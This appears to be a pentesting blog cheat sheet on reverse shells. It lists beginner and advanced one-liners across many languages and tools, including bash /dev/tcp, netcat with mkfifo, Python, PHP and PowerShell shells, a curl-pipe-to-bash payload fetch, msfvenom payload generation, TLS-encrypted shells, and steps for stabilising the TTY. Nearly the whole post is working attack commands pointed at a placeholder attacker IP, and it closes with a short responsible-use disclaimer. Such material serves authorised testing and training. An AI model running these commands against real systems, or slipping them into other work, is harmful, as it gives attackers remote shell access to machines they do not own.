root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat reverse-shells.md
// Shells & Pivoting

Reverse Shells

21 Jul 2026 · 7 min read
A reverse shell makes the victim machine start the connection back to the attacker, instead of waiting for incoming connections like a bind shell. It is the standard technique after exploiting a service, because it usually gets through firewalls and NAT that block inbound ports but allow outbound traffic. This cheatsheet gathers the most-used one-liners by language and the tools to catch them.

There is no universal one-liner: what works depends on which interpreters exist on the victim and on which shell /bin/sh actually is. The /dev/tcp trick is a Bash feature, not POSIX sh, so it fails on systems where /bin/sh is dash. And since netcat's -e flag is missing from almost every modern build, the real field pattern is the mkfifo one. That is why it pays to keep several alternatives at hand.

1. Beginner level — one-liners by language

REVERSE SHELLS cheat sheet — Beginner
CommandWhat it does
bash -i >& /dev/tcp/<ip>/4444 0>&1Bash reverse shell
nc <ip> 4444 -e /bin/bashNetcat reverse shell (-e)
nc <ip> 4444 -e /bin/shSame with /bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/fNetcat without -e (mkfifo)
python3 -c 'import pty,os,socket;s=socket.socket();s.connect(("<ip>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'Python3 reverse shell
php -r '$s=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'PHP reverse shell
perl -e 'use Socket;...;exec("/bin/sh -i");'Perl reverse shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>",4444)...'Ruby reverse shell
socat TCP:<ip>:4444 EXEC:/bin/bashSocat reverse shell
nc -lvnp 4444Listener on the attacker machine
sh -i >& /dev/udp/<ip>/4444 0>&1Reverse shell over UDP
curl http://<ip>/shell.sh | bashDownloads and runs a payload
lua -e 'require("socket");...os.execute("/bin/sh -i")'Lua reverse shell
rlwrap nc -lvnp 4444Listener with command history

2. Advanced level — TTY, PowerShell and encryption

REVERSE SHELLS cheat sheet — Advanced
CommandWhat it does
python3 -c 'import pty;pty.spawn("/bin/bash")'Stabilizes the TTY (step 1)
Ctrl+Z ; stty raw -echo; fgReturns terminal control (step 2)
export TERM=xterm; stty rows 50 cols 200Adjusts rows and columns (step 3)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<ip>',4444)..."PowerShell reverse shell
powershell -e <base64>Runs an encoded PowerShell payload
socat TCP:<ip>:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneFully interactive shell via socat
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Socat listener with full TTY
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o sGenerates a reverse binary (Linux)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exeReverse EXE for Windows
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -nodesGenerates a cert for an encrypted shell
openssl s_server -quiet -key k.pem -cert c.pem -port 4444TLS listener with OpenSSL
mkfifo /tmp/s;openssl s_client -connect <ip>:4444 </tmp/s|sh >/tmp/sEncrypted reverse shell (client)
stty -aChecks rows/columns to adjust the TTY
nc -lvnp 4444 -s <ip>Listener binding the listening IP

3. Details people miss

  • Always start the listener (nc -lvnp 4444) before firing the payload: if the victim connects and nothing is listening, the shell is lost.
  • The /dev/tcp trick belongs to Bash. On many Linux systems /bin/sh is dash and does not support it: invoke bash explicitly or use another method.
  • Netcat's -e flag is absent from most modern builds (nmap-ncat, OpenBSD netcat). If nc -e fails, use the mkfifo variant.
  • The shell you get is dumb: no Ctrl+C, no arrows or tab. Stabilize the TTY (python3 -c 'import pty;pty.spawn(...)' + stty raw -echo) before working.
  • After stabilizing, export TERM=xterm and set rows/cols with stty, or full-screen tools like vim or less will break.

Responsible use

These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.